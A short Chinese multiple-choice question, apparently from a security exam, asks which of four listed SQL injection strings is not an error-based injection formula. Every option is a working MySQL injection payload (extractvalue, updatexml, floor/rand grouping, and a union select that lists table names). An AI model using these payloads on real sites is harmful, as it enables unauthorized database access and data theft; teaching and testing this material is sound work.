下列( )不是SQLi 报错注入公式
?id=1’ and extractvalue(1,concat(’^’,(select version()),’^’)) --+
?id=1’ and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
?id=1’ and updatexml(1,concat(’^’,(select database()),’^’),1) --+
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+